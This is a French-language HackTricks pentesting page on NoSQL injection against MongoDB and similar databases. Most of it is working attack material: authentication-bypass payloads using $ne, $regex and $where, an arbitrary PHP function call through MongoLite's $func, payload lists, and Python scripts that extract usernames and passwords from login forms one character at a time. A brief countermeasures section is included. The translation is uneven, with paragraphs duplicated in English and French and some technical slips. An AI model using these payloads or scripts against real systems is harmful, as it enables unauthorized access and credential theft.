hacktricks/pentesting-web/nosql-injection.md
2023-06-03 13:10:46 +00:00

387 lines
20 KiB
Markdown

# Injection NoSQL
![](<../.gitbook/assets/image (9) (1) (2).png>)
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Les bases de données NoSQL offrent des restrictions de cohérence plus lâches que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages de performance et de mise à l'échelle. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.
## Exploitation
En PHP, vous pouvez envoyer un tableau en changeant le paramètre envoyé de _parameter=foo_ à _parameter\[arrName]=foo._
Les exploits sont basés sur l'ajout d'un **opérateur** :
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Contournement de l'authentification de base
**En utilisant la négation ($ne) ou la supériorité ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
MongoDB est une base de données NoSQL très populaire. Contrairement aux bases de données SQL traditionnelles, MongoDB stocke les données sous forme de documents JSON. Les injections NoSQL sont similaires aux injections SQL, mais elles exploitent les différences de syntaxe et de structure de MongoDB.
#### **Injection basique**
La technique d'injection de base consiste à ajouter une clé supplémentaire à la requête JSON. Par exemple, si la requête est la suivante :
```
db.users.find({username: "admin", password: "password123"})
```
Nous pouvons ajouter une clé supplémentaire pour contourner l'authentification :
```
db.users.find({username: "admin", password: {"$ne": ""}})
```
Cela renverra tous les documents où le champ "password" n'est pas vide.
#### **Injection d'opérateurs**
MongoDB utilise des opérateurs pour effectuer des opérations sur les données. Les injections d'opérateurs consistent à utiliser des opérateurs malveillants pour contourner les contrôles d'accès. Par exemple, si la requête est la suivante :
```
db.users.find({username: "admin"})
```
Nous pouvons utiliser l'opérateur "$regex" pour contourner la vérification du nom d'utilisateur :
```
db.users.find({username: {"$regex": ".*"}, password: {"$ne": ""}})
```
Cela renverra tous les documents où le champ "password" n'est pas vide, indépendamment du nom d'utilisateur.
#### **Injection de code**
MongoDB prend en charge l'exécution de code côté serveur à l'aide de la fonction "eval". Les injections de code consistent à injecter du code malveillant dans la requête pour qu'il soit exécuté côté serveur. Par exemple, si la requête est la suivante :
```
db.users.find({username: "admin"})
```
Nous pouvons utiliser la fonction "eval" pour exécuter du code malveillant :
```
db.users.find({$where: "this.username == 'admin' && this.password.match(/^pa.*/)"})
```
Cela renverra tous les documents où le nom d'utilisateur est "admin" et le mot de passe commence par "pa".
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
```
### Extraire des informations sur la **longueur**
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extraire des informations sur les **données**
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
### Injection NoSQL
L'injection NoSQL est similaire à l'injection SQL, mais elle est utilisée pour les bases de données NoSQL telles que MongoDB. Les attaques NoSQL Injection sont souvent plus difficiles à exploiter que les attaques SQL Injection, car les bases de données NoSQL n'utilisent pas de langage de requête structuré tel que SQL. Cependant, les attaquants peuvent toujours exploiter les vulnérabilités de sécurité dans les applications qui utilisent des bases de données NoSQL pour extraire des informations sensibles ou effectuer des actions malveillantes.
### Syntaxe de base
La syntaxe de base de l'injection NoSQL est similaire à celle de l'injection SQL. Les attaquants peuvent utiliser des caractères spéciaux pour modifier la requête d'origine et extraire des informations sensibles. Par exemple, si une application utilise MongoDB pour stocker des informations d'utilisateur, un attaquant peut utiliser la syntaxe suivante pour extraire toutes les informations d'utilisateur de la base de données :
```
username: {$ne: ''}, password: {$ne: ''}
```
Cette syntaxe utilise l'opérateur `$ne` pour extraire toutes les informations d'utilisateur qui ne sont pas vides. L'attaquant peut également utiliser d'autres opérateurs tels que `$gt`, `$lt`, `$gte`, `$lte`, `$regex`, etc. pour extraire des informations sensibles.
### Contre-mesures
Les contre-mesures suivantes peuvent être prises pour prévenir les attaques NoSQL Injection :
- Utiliser des bibliothèques de requêtes NoSQL sécurisées qui échappent automatiquement les caractères spéciaux.
- Valider et filtrer les entrées utilisateur pour empêcher les caractères spéciaux d'être utilisés dans les requêtes.
- Utiliser des rôles d'utilisateur et des autorisations pour limiter l'accès aux bases de données et aux informations sensibles.
- Mettre à jour régulièrement les bibliothèques et les frameworks utilisés pour éviter les vulnérabilités connues.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### Exécution arbitraire de fonctions PHP
En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il est possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)
### Obtenir des informations à partir de différentes collections
Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une **collection différente** appelée **`users`** et obtenons les **résultats de toutes les entrées** avec un mot de passe correspondant à un joker.
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
## Injection NoSQL aveugle
Blind NoSQL injection is a type of injection attack that targets NoSQL databases. It is similar to blind SQL injection, but instead of targeting SQL databases, it targets NoSQL databases. The attack is called "blind" because the attacker does not receive any error messages or other feedback from the database. This makes it more difficult to detect and exploit.
L'injection NoSQL aveugle est un type d'attaque par injection qui cible les bases de données NoSQL. Elle est similaire à l'injection SQL aveugle, mais au lieu de cibler les bases de données SQL, elle cible les bases de données NoSQL. L'attaque est appelée "aveugle" car l'attaquant ne reçoit aucun message d'erreur ou autre retour d'information de la base de données. Cela rend plus difficile la détection et l'exploitation de l'attaque.
### Boolean-based blind NoSQL injection
### Injection NoSQL aveugle basée sur des booléens
Boolean-based blind NoSQL injection is a technique that uses boolean-based queries to extract information from a NoSQL database. The attacker sends a query to the database that will return either true or false, depending on whether the query is successful or not. By sending a series of queries, the attacker can extract information from the database.
L'injection NoSQL aveugle basée sur des booléens est une technique qui utilise des requêtes basées sur des booléens pour extraire des informations d'une base de données NoSQL. L'attaquant envoie une requête à la base de données qui renverra soit vrai, soit faux, en fonction de la réussite ou non de la requête. En envoyant une série de requêtes, l'attaquant peut extraire des informations de la base de données.
### Time-based blind NoSQL injection
### Injection NoSQL aveugle basée sur le temps
Time-based blind NoSQL injection is a technique that uses time delays to extract information from a NoSQL database. The attacker sends a query to the database that will cause a time delay if the query is successful. By measuring the time it takes for the database to respond, the attacker can extract information from the database.
L'injection NoSQL aveugle basée sur le temps est une technique qui utilise des délais de temps pour extraire des informations d'une base de données NoSQL. L'attaquant envoie une requête à la base de données qui provoquera un délai de temps si la requête est réussie. En mesurant le temps qu'il faut à la base de données pour répondre, l'attaquant peut extraire des informations de la base de données.
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## Charges MongoDB
### Payloads MongoDB
Les injections NoSQL sont souvent utilisées pour attaquer les bases de données MongoDB. Voici quelques exemples de charges utiles pour les injections NoSQL dans MongoDB:
#### Récupérer toutes les données de la base de données
```json
username[$ne]=&password[$ne]=
```
#### Récupérer les informations d'un utilisateur spécifique
```json
username[$eq]=<username>&password[$ne]=1
```
#### Récupérer les informations d'un utilisateur en utilisant l'opérateur $regex
```json
username[$regex]=.*&password[$regex]=.*
```
#### Récupérer les informations d'un utilisateur en utilisant l'opérateur $where
```json
$where=return%20this.username%20==%20%22<username>%22%20&&%20this.password%20==%20%22<password>%22
```
#### Récupérer les informations d'un utilisateur en utilisant l'opérateur $where et une fonction JavaScript
```json
$where=function()%20{var%20x%20=%20new%20RegExp(%22<password>%22,%20%22i%22);%20return%20this.username%20==%20%22<username>%22%20&&%20x.test(this.password);}
```
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## Outils
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
### Brute-force des noms d'utilisateur et des mots de passe à partir de la connexion POST
Il s'agit d'un script simple que vous pouvez modifier, mais les outils précédents peuvent également effectuer cette tâche.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
```
## Références
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}